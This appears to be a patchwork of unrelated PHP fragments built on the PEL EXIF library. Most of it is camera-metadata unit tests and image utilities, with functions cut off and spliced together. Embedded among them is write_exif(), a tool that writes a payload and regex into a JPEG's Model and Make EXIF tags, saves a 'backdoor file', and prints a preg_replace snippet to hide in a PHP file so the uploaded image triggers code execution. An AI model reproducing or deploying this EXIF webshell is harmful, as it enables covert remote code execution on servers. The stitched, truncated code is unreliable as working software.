$tiff = $file = new PelTiff();
/* Now load the data. */
$tiff->load($data);
if (empty($argv)) {
println('Usage: %s [-d] <file> ...', $prog);
println('Optional arguments:');
println(' -d turn debug output on.');
println('Mandatory arguments:');
println(' file ... one or more file names.');
exit(1);
}
/* We typically need lots of RAM to parse TIFF images since they tend
* to be big and uncompressed. */
ini_set('memory_limit', '32M');
foreach ($argv as $file) {
println('Reading file "%s".', $file);
$data = new PelDataWindow(file_get_contents($file));
if (PelJpeg::isValid($data)) {
$jpeg = new PelJpeg();
$jpeg->load($data);
$app1 = $jpeg->getExif();
if ($app1 == null) {
println('Skipping %s because no APP1 section was found.', $file);
continue;
}
$tiff = $app1->getTiff();
} elseif (PelTiff::isValid($data)) {
$tiff = new PelTiff($data);
} else {
println('Unrecognized image format! Skipping.');
continue;
}
$ifd0 = $tiff->getIfd();
$entry = $ifd0->getEntry(PelTag::DATE_TIME);
function testRead()
{
Pel::clearExceptions();
Pel::setStrictParsing(false);
$jpeg = new PelJpeg(dirname(__FILE__) . '/canon-powershot-s60.jpg');
$exif = $jpeg->getExif();
$this->assertIsA($exif, 'PelExif');
$tiff = $exif->getTiff();
$this->assertIsA($tiff, 'PelTiff');
/* The first IFD. */
$ifd0 = $tiff->getIfd();
$this->assertIsA($ifd0, 'PelIfd');
/* Start of IDF $ifd0. */
$this->assertEqual(count($ifd0->getEntries()), 8);
$entry = $ifd0->getEntry(271);
// Make
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'Canon');
$this->assertEqual($entry->getText(), 'Canon');
$entry = $ifd0->getEntry(272);
// Model
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'Canon PowerShot S60');
$this->assertEqual($entry->getText(), 'Canon PowerShot S60');
$entry = $ifd0->getEntry(274);
// Orientation
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'top - left');
$entry = $ifd0->getEntry(282);
// XResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 180, 1 => 1));
$this->assertEqual($entry->getText(), '180/1');
$entry = $ifd0->getEntry(283);
// YResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 180, 1 => 1));
$this->assertEqual($entry->getText(), '180/1');
$entry = $ifd0->getEntry(296);
// ResolutionUnit
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'Inch');
$entry = $ifd0->getEntry(306);
// DateTime
$this->assertIsA($entry, 'PelEntryTime');
$this->assertEqual($entry->getValue(), 1097316018);
$this->assertEqual($entry->getText(), '2004:10:09 10:00:18');
$entry = $ifd0->getEntry(531);
// YCbCrPositioning
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'centered');
/* Sub IFDs of $ifd0. */
$this->assertEqual(count($ifd0->getSubIfds()), 1);
$ifd0_0 = $ifd0->getSubIfd(2);
// IFD Exif
$this->assertIsA($ifd0_0, 'PelIfd');
/* Start of IDF $ifd0_0. */
$this->assertEqual(count($ifd0_0->getEntries()), 30);
$entry = $ifd0_0->getEntry(33434);
// ExposureTime
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 1, 1 => 8));
$this->assertEqual($entry->getText(), '1/8 sec.');
$entry = $ifd0_0->getEntry(33437);
// FNumber
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 53, 1 => 10));
$this->assertEqual($entry->getText(), 'f/5.3');
$entry = $ifd0_0->getEntry(36864);
// ExifVersion
$this->assertIsA($entry, 'PelEntryVersion');
$this->assertEqual($entry->getValue(), 2.2);
$this->assertEqual($entry->getText(), 'Exif Version 2.2');
$entry = $ifd0_0->getEntry(36867);
// DateTimeOriginal
$this->assertIsA($entry, 'PelEntryTime');
$this->assertEqual($entry->getValue(), 1097316018);
$this->assertEqual($entry->getText(), '2004:10:09 10:00:18');
$entry = $ifd0_0->getEntry(36868);
// DateTimeDigitized
$this->assertIsA($entry, 'PelEntryTime');
$this->assertEqual($entry->getValue(), 1097316018);
$this->assertEqual($entry->getText(), '2004:10:09 10:00:18');
$entry = $ifd0_0->getEntry(37121);
// ComponentsConfiguration
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), '');
$this->assertEqual($entry->getText(), 'Y Cb Cr -');
$entry = $ifd0_0->getEntry(37122);
// CompressedBitsPerPixel
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 2, 1 => 1));
$this->assertEqual($entry->getText(), '2/1');
$entry = $ifd0_0->getEntry(37377);
// ShutterSpeedValue
$this->assertIsA($entry, 'PelEntrySRational');
$this->assertEqual($entry->getValue(), array(0 => 96, 1 => 32));
$this->assertEqual($entry->getText(), '96/32 sec. (APEX: 2)');
$entry = $ifd0_0->getEntry(37378);
// ApertureValue
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 154, 1 => 32));
$this->assertEqual($entry->getText(), 'f/5.3');
$entry = $ifd0_0->getEntry(37380);
// ExposureBiasValue
$this->assertIsA($entry, 'PelEntrySRational');
$this->assertEqual($entry->getValue(), array(0 => 0, 1 => 3));
$this->assertEqual($entry->getText(), '0.0');
$entry = $ifd0_0->getEntry(37381);
// MaxApertureValue
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 154, 1 => 32));
$this->assertEqual($entry->getText(), '154/32');
$entry = $ifd0_0->getEntry(37383);
// MeteringMode
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 5);
$this->assertEqual($entry->getText(), 'Pattern');
$entry = $ifd0_0->getEntry(37385);
// Flash
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 16);
$this->assertEqual($entry->getText(), 'Flash did not fire, compulsory flash mode.');
$entry = $ifd0_0->getEntry(37386);
// FocalLength
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 662, 1 => 32));
$this->assertEqual($entry->getText(), '20.7 mm');
$entry = $ifd0_0->getEntry(37500);
// MakerNote
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), '.���"�0< D| ��iB �9��
$�\\@����� ������5
���"�D �6�`j�`� ��
��\',��,��,��������*** IMG:PowerShot S60 JPEGFirmware Version 1.00Q
��H ||}z�|�zDX�
��
t�%�*��II*�');
$this->assertEqual($entry->getText(), '904 bytes unknown MakerNote data');
$entry = $ifd0_0->getEntry(37510);
// UserComment
$this->assertIsA($entry, 'PelEntryUserComment');
$this->assertEqual($entry->getValue(), '');
$this->assertEqual($entry->getText(), '');
$entry = $ifd0_0->getEntry(40960);
// FlashPixVersion
$this->assertIsA($entry, 'PelEntryVersion');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'FlashPix Version 1.0');
$entry = $ifd0_0->getEntry(40961);
// ColorSpace
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'sRGB');
$entry = $ifd0_0->getEntry(40962);
// PixelXDimension
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 640);
$this->assertEqual($entry->getText(), '640');
$entry = $ifd0_0->getEntry(40963);
// PixelYDimension
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 480);
$this->assertEqual($entry->getText(), '480');
$entry = $ifd0_0->getEntry(41486);
// FocalPlaneXResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 640000, 1 => 283));
$this->assertEqual($entry->getText(), '640000/283');
$entry = $ifd0_0->getEntry(41487);
// FocalPlaneYResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 480000, 1 => 212));
$this->assertEqual($entry->getText(), '480000/212');
$entry = $ifd0_0->getEntry(41488);
// FocalPlaneResolutionUnit
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'Inch');
$entry = $ifd0_0->getEntry(41495);
// SensingMethod
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'One-chip color area sensor');
$entry = $ifd0_0->getEntry(41728);
// FileSource
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), '');
$this->assertEqual($entry->getText(), 'DSC');
$entry = $ifd0_0->getEntry(41985);
// CustomRendered
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Normal process');
$entry = $ifd0_0->getEntry(41986);
// ExposureMode
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Auto exposure');
$entry = $ifd0_0->getEntry(41987);
// WhiteBalance
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Auto white balance');
$entry = $ifd0_0->getEntry(41988);
// DigitalZoomRatio
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 2592, 1 => 2592));
$this->assertEqual($entry->getText(), '2592/2592');
$entry = $ifd0_0->getEntry(41990);
// SceneCaptureType
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Standard');
/* Sub IFDs of $ifd0_0. */
$this->assertEqual(count($ifd0_0->getSubIfds()), 1);
$ifd0_0_0 = $ifd0_0->getSubIfd(4);
// IFD Interoperability
$this->assertIsA($ifd0_0_0, 'PelIfd');
/* Start of IDF $ifd0_0_0. */
$this->assertEqual(count($ifd0_0_0->getEntries()), 4);
$entry = $ifd0_0_0->getEntry(1);
// InteroperabilityIndex
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'R98');
$this->assertEqual($entry->getText(), 'R98');
$entry = $ifd0_0_0->getEntry(2);
// InteroperabilityVersion
$this->assertIsA($entry, 'PelEntryVersion');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'Interoperability Version 1.0');
$entry = $ifd0_0_0->getEntry(4097);
// RelatedImageWidth
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 640);
$this->assertEqual($entry->getText(), '640');
$entry = $ifd0_0_0->getEntry(4098);
// RelatedImageLength
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 480);
$this->assertEqual($entry->getText(), '480');
/* Sub IFDs of $ifd0_0_0. */
$this->assertEqual(count($ifd0_0_0->getSubIfds()), 0);
$this->assertEqual($ifd0_0_0->getThumbnailData(), '');
/* Next IFD. */
$ifd0_0_1 = $ifd0_0_0->getNextIfd();
$this->assertNull($ifd0_0_1);
/* End of IFD $ifd0_0_0. */
$this->assertEqual($ifd0_0->getThumbnailData(), '');
/* Next IFD. */
$ifd0_1 = $ifd0_0->getNextIfd();
$this->assertNull($ifd0_1);
/* End of IFD $ifd0_0. */
$this->assertEqual($ifd0->getThumbnailData(), '');
/* Next IFD. */
$ifd1 = $ifd0->getNextIfd();
$this->assertIsA($ifd1, 'PelIfd');
/* End of IFD $ifd0. */
/* Start of IDF $ifd1. */
$this->assertEqual(count($ifd1->getEntries()), 4);
$entry = $ifd1->getEntry(259);
// Compression
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 6);
$this->assertEqual($entry->getText(), 'JPEG compression');
$entry = $ifd1->getEntry(282);
// XResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 180, 1 => 1));
$this->assertEqual($entry->getText(), '180/1');
$entry = $ifd1->getEntry(283);
// YResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 180, 1 => 1));
$this->assertEqual($entry->getText(), '180/1');
$entry = $ifd1->getEntry(296);
// ResolutionUnit
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'Inch');
/* Sub IFDs of $ifd1. */
$this->assertEqual(count($ifd1->getSubIfds()), 0);
$thumb_data = file_get_contents(dirname(__FILE__) . '/canon-powershot-s60-thumb.jpg');
$this->assertEqual($ifd1->getThumbnailData(), $thumb_data);
/* Next IFD. */
$ifd2 = $ifd1->getNextIfd();
$this->assertNull($ifd2);
/* End of IFD $ifd1. */
$this->assertTrue(count(Pel::getExceptions()) == 0);
function write_exif()
{
global $verbose, $headers, $regex, $payload, $original, $backdoored;
require_once 'pel/PelDataWindow.php';
require_once 'pel/PelJpeg.php';
require_once 'pel/PelTiff.php';
setlocale(LC_ALL, '');
$data = new PelDataWindow(file_get_contents($original));
if (PelJpeg::isValid($data)) {
$jpeg = $file = new PelJpeg();
$jpeg->load($data);
$exif = $jpeg->getExif();
if ($exif == null) {
if ($verbose) {
print " # No APP1 section found, added new.\r\n";
}
$exif = new PelExif();
$jpeg->setExif($exif);
$tiff = new PelTiff();
$exif->setTiff($tiff);
} else {
if ($verbose) {
print " # Found existing APP1 section.\r\n";
}
$tiff = $exif->getTiff();
}
} elseif (PelTiff::isValid($data)) {
$tiff = $file = new PelTiff();
$tiff->load($data);
} else {
print " # Unrecognized image format! The first 16 bytes follow:\r\n";
PelConvert::bytesToDump($data->getBytes(0, 16));
exit(1);
}
$ifd0 = $tiff->getIfd();
if ($ifd0 == null) {
if ($verbose) {
print " # No IFD found, adding new.\r\n";
}
$ifd0 = new PelIfd(PelIfd::IFD0);
$tiff->setIfd($ifd0);
}
//add MODEL EXIF header
$desc = $ifd0->getEntry(PelTag::MODEL);
if ($desc == null) {
if ($verbose) {
print " # Added new MODEL entry with " . $payload . "\r\n";
}
$desc = new PelEntryAscii(PelTag::MODEL, $payload);
$ifd0->addEntry($desc);
} else {
if ($verbose) {
print 'Updating MODEL entry from "' . $desc->getValue() . '" to "' . $payload . '".' . "\r\n";
}
$desc->setValue($payload);
}
//add MAKE EXIF header
$desc = $ifd0->getEntry(PelTag::MAKE);
if ($desc == null) {
if ($verbose) {
print " # Added new MAKE entry with " . $regex . "\r\n";
}
$desc = new PelEntryAscii(PelTag::MAKE, $regex);
$ifd0->addEntry($desc);
} else {
if ($verbose) {
print 'Updating MAKE entry from "' . $desc->getValue() . '" to "' . $regex . '".' . "\r\n";
}
$desc->setValue($regex);
}
print " # Saving backdoor file : " . $backdoored . ".\r\n";
$file->saveFile($backdoored);
print " # Saved.\r\n";
if ($verbose) {
print "\r\n\r\n";
}
print " # In order to work your backdoor, you need to hide this code very well in a .php file.\r\n";
print "\r\n<?php\r\n\$exif = exif_read_data('path_to_backdoored_file_uploaded_on_server.jpg');\r\n";
print "preg_replace(\$exif['" . $headers[0] . "'],\$exif['" . $headers[1] . "'],'');\r\n?>\r\n\r\n";
}
function testRead()
{
Pel::clearExceptions();
Pel::setStrictParsing(false);
$jpeg = new PelJpeg(dirname(__FILE__) . '/olympus-c765uz.jpg');
$exif = $jpeg->getExif();
$this->assertIsA($exif, 'PelExif');
$tiff = $exif->getTiff();
$this->assertIsA($tiff, 'PelTiff');
/* The first IFD. */
$ifd0 = $tiff->getIfd();
$this->assertIsA($ifd0, 'PelIfd');
/* Start of IDF $ifd0. */
$this->assertEqual(count($ifd0->getEntries()), 11);
$entry = $ifd0->getEntry(270);
// ImageDescription
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'OLYMPUS DIGITAL CAMERA ');
$this->assertEqual($entry->getText(), 'OLYMPUS DIGITAL CAMERA ');
$entry = $ifd0->getEntry(271);
// Make
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'OLYMPUS CORPORATION');
$this->assertEqual($entry->getText(), 'OLYMPUS CORPORATION');
$entry = $ifd0->getEntry(272);
// Model
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'C765UZ');
$this->assertEqual($entry->getText(), 'C765UZ');
$entry = $ifd0->getEntry(274);
// Orientation
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'top - left');
$entry = $ifd0->getEntry(282);
// XResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
$this->assertEqual($entry->getText(), '72/1');
$entry = $ifd0->getEntry(283);
// YResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
$this->assertEqual($entry->getText(), '72/1');
$entry = $ifd0->getEntry(296);
// ResolutionUnit
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'Inch');
$entry = $ifd0->getEntry(305);
// Software
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'v777-76');
$this->assertEqual($entry->getText(), 'v777-76');
$entry = $ifd0->getEntry(306);
// DateTime
$this->assertIsA($entry, 'PelEntryTime');
$this->assertEqual($entry->getValue(), 1090073972);
$this->assertEqual($entry->getText(), '2004:07:17 14:19:32');
$entry = $ifd0->getEntry(531);
// YCbCrPositioning
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'co-sited');
$entry = $ifd0->getEntry(50341);
// PrintIM
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), 'PrintIM0250
а
шџ \' \'\'А\' \'^\'\'Ы\'х\'!И');
$this->assertEqual($entry->getText(), '(undefined)');
/* Sub IFDs of $ifd0. */
$this->assertEqual(count($ifd0->getSubIfds()), 1);
$ifd0_0 = $ifd0->getSubIfd(2);
// IFD Exif
$this->assertIsA($ifd0_0, 'PelIfd');
/* Start of IDF $ifd0_0. */
$this->assertEqual(count($ifd0_0->getEntries()), 32);
$entry = $ifd0_0->getEntry(33434);
// ExposureTime
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 10, 1 => 2000));
$this->assertEqual($entry->getText(), '1/200 sec.');
$entry = $ifd0_0->getEntry(33437);
// FNumber
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 32, 1 => 10));
$this->assertEqual($entry->getText(), 'f/3.2');
$entry = $ifd0_0->getEntry(34850);
// ExposureProgram
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 5);
$this->assertEqual($entry->getText(), 'Creative program (biased toward depth of field)');
$entry = $ifd0_0->getEntry(34855);
// ISOSpeedRatings
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 64);
$this->assertEqual($entry->getText(), '64');
$entry = $ifd0_0->getEntry(36864);
// ExifVersion
$this->assertIsA($entry, 'PelEntryVersion');
$this->assertEqual($entry->getValue(), 2.2);
$this->assertEqual($entry->getText(), 'Exif Version 2.2');
$entry = $ifd0_0->getEntry(36867);
// DateTimeOriginal
$this->assertIsA($entry, 'PelEntryTime');
$this->assertEqual($entry->getValue(), 1090073972);
$this->assertEqual($entry->getText(), '2004:07:17 14:19:32');
$entry = $ifd0_0->getEntry(36868);
// DateTimeDigitized
$this->assertIsA($entry, 'PelEntryTime');
$this->assertEqual($entry->getValue(), 1090073972);
$this->assertEqual($entry->getText(), '2004:07:17 14:19:32');
$entry = $ifd0_0->getEntry(37121);
// ComponentsConfiguration
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), '');
$this->assertEqual($entry->getText(), 'Y Cb Cr -');
$entry = $ifd0_0->getEntry(37122);
// CompressedBitsPerPixel
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 2, 1 => 1));
$this->assertEqual($entry->getText(), '2/1');
$entry = $ifd0_0->getEntry(37380);
// ExposureBiasValue
$this->assertIsA($entry, 'PelEntrySRational');
$this->assertEqual($entry->getValue(), array(0 => 0, 1 => 10));
$this->assertEqual($entry->getText(), '0.0');
$entry = $ifd0_0->getEntry(37381);
// MaxApertureValue
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 34, 1 => 10));
$this->assertEqual($entry->getText(), '34/10');
$entry = $ifd0_0->getEntry(37383);
// MeteringMode
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 5);
$this->assertEqual($entry->getText(), 'Pattern');
$entry = $ifd0_0->getEntry(37384);
// LightSource
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Unknown');
$entry = $ifd0_0->getEntry(37385);
// Flash
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 16);
$this->assertEqual($entry->getText(), 'Flash did not fire, compulsory flash mode.');
$entry = $ifd0_0->getEntry(37386);
// FocalLength
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 109, 1 => 10));
$this->assertEqual($entry->getText(), '10.9 mm');
$entry = $ifd0_0->getEntry(37500);
// MakerNote
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), 'OLYMPрьєќ4 Lюlddњшџ џдўжџНџНџSX777[pictureInfo] Resolution=1 [Camera Info] Type=SX777OLYMPUS DIGITAL CAMERAџџџџџџџџџ4џa1у ќ№№dЧ@ **.<Jdќ""""""""""""""""""""Є~ы|Ё№YR
ЧoРh4 /
сэк@ИN DsодаэDќSH СV
Ь7h 8џ )?&Ї$уъ зwwww\'
сiOvY$7)*ћю2
6nЁ$* R
n_');
$this->assertEqual($entry->getText(), '840 bytes unknown MakerNote data');
$entry = $ifd0_0->getEntry(37510);
// UserComment
$this->assertIsA($entry, 'PelEntryUserComment');
$this->assertEqual($entry->getValue(), ' ');
$this->assertEqual($entry->getText(), ' ');
$entry = $ifd0_0->getEntry(40960);
// FlashPixVersion
$this->assertIsA($entry, 'PelEntryVersion');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'FlashPix Version 1.0');
$entry = $ifd0_0->getEntry(40961);
// ColorSpace
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'sRGB');
$entry = $ifd0_0->getEntry(40962);
// PixelXDimension
$this->assertIsA($entry, 'PelEntryLong');
$this->assertEqual($entry->getValue(), 2288);
$this->assertEqual($entry->getText(), '2288');
$entry = $ifd0_0->getEntry(40963);
// PixelYDimension
$this->assertIsA($entry, 'PelEntryLong');
$this->assertEqual($entry->getValue(), 1712);
$this->assertEqual($entry->getText(), '1712');
$entry = $ifd0_0->getEntry(41728);
// FileSource
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), '');
$this->assertEqual($entry->getText(), 'DSC');
$entry = $ifd0_0->getEntry(41729);
// SceneType
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), '');
$this->assertEqual($entry->getText(), 'Directly photographed');
$entry = $ifd0_0->getEntry(41985);
// CustomRendered
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Normal process');
$entry = $ifd0_0->getEntry(41986);
// ExposureMode
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Auto exposure');
$entry = $ifd0_0->getEntry(41987);
// WhiteBalance
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Auto white balance');
$entry = $ifd0_0->getEntry(41988);
// DigitalZoomRatio
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 0, 1 => 100));
$this->assertEqual($entry->getText(), '0/100');
$entry = $ifd0_0->getEntry(41990);
// SceneCaptureType
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'Portrait');
$entry = $ifd0_0->getEntry(41991);
// GainControl
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Normal');
$entry = $ifd0_0->getEntry(41992);
// Contrast
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Normal');
$entry = $ifd0_0->getEntry(41993);
// Saturation
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Normal');
$entry = $ifd0_0->getEntry(41994);
// Sharpness
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Normal');
/* Sub IFDs of $ifd0_0. */
$this->assertEqual(count($ifd0_0->getSubIfds()), 1);
$ifd0_0_0 = $ifd0_0->getSubIfd(4);
// IFD Interoperability
$this->assertIsA($ifd0_0_0, 'PelIfd');
/* Start of IDF $ifd0_0_0. */
$this->assertEqual(count($ifd0_0_0->getEntries()), 2);
$entry = $ifd0_0_0->getEntry(1);
// InteroperabilityIndex
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'R98');
$this->assertEqual($entry->getText(), 'R98');
$entry = $ifd0_0_0->getEntry(2);
// InteroperabilityVersion
$this->assertIsA($entry, 'PelEntryVersion');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'Interoperability Version 1.0');
/* Sub IFDs of $ifd0_0_0. */
$this->assertEqual(count($ifd0_0_0->getSubIfds()), 0);
$this->assertEqual($ifd0_0_0->getThumbnailData(), '');
/* Next IFD. */
$ifd0_0_1 = $ifd0_0_0->getNextIfd();
$this->assertNull($ifd0_0_1);
/* End of IFD $ifd0_0_0. */
$this->assertEqual($ifd0_0->getThumbnailData(), '');
/* Next IFD. */
$ifd0_1 = $ifd0_0->getNextIfd();
$this->assertNull($ifd0_1);
/* End of IFD $ifd0_0. */
$this->assertEqual($ifd0->getThumbnailData(), '');
/* Next IFD. */
$ifd1 = $ifd0->getNextIfd();
$this->assertIsA($ifd1, 'PelIfd');
/* End of IFD $ifd0. */
/* Start of IDF $ifd1. */
$this->assertEqual(count($ifd1->getEntries()), 4);
$entry = $ifd1->getEntry(259);
// Compression
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 6);
$this->assertEqual($entry->getText(), 'JPEG compression');
$entry = $ifd1->getEntry(282);
// XResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
$this->assertEqual($entry->getText(), '72/1');
$entry = $ifd1->getEntry(283);
// YResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
$this->assertEqual($entry->getText(), '72/1');
$entry = $ifd1->getEntry(296);
// ResolutionUnit
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'Inch');
/* Sub IFDs of $ifd1. */
$this->assertEqual(count($ifd1->getSubIfds()), 0);
$thumb_data = file_get_contents(dirname(__FILE__) . '/olympus-c765uz-thumb.jpg');
$this->assertEqual($ifd1->getThumbnailData(), $thumb_data);
/**
* Copy the source image's EXIF information to the new file in the cache
*
* @since 2.0
* @uses PEL
* @param string $cacheFilePath
* @return mixed string contents of image on success, false on failure
*/
private function copyEXIF($cacheFilePath)
{
$pelJpegLib = dirname(__FILE__) . '/../pel/src/PelJpeg.php';
// Linking to pel library will break MIT license
// Make the EXIF copy optional
if (file_exists($pelJpegLib)) {
// Make sure to suppress strict warning thrown by PEL
require_once $pelJpegLib;
$jpeg = new PelJpeg($this->getSource()->getFullPath());
$exif = $jpeg->getExif();
if ($exif !== null) {
$jpeg = new PelJpeg($cacheFilePath);
$jpeg->setExif($exif);
$imageData = $jpeg->getBytes();
if (!file_put_contents($cacheFilePath, $imageData)) {
return false;
}
return $imageData;
}
}
return file_get_contents($cacheFilePath);
}
function jpegToTest($name, PelJpeg $jpeg)
{
$exif = $jpeg->getExif();
println('$exif = %s->getExif();', $name);
if ($exif == null) {
println('$this->assertNull($exif);');
} else {
jpegContentToTest('$exif', $exif);
}
}
function testRead()
{
Pel::clearExceptions();
Pel::setStrictParsing(false);
$jpeg = new PelJpeg(dirname(__FILE__) . '/leica-d-lux.jpg');
$exif = $jpeg->getExif();
$this->assertIsA($exif, 'PelExif');
$tiff = $exif->getTiff();
$this->assertIsA($tiff, 'PelTiff');
/* The first IFD. */
$ifd0 = $tiff->getIfd();
$this->assertIsA($ifd0, 'PelIfd');
/* Start of IDF $ifd0. */
$this->assertEqual(count($ifd0->getEntries()), 10);
$entry = $ifd0->getEntry(271);
// Make
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'LEICA');
$this->assertEqual($entry->getText(), 'LEICA');
$entry = $ifd0->getEntry(272);
// Model
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'D-LUX');
$this->assertEqual($entry->getText(), 'D-LUX');
$entry = $ifd0->getEntry(274);
// Orientation
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 1);
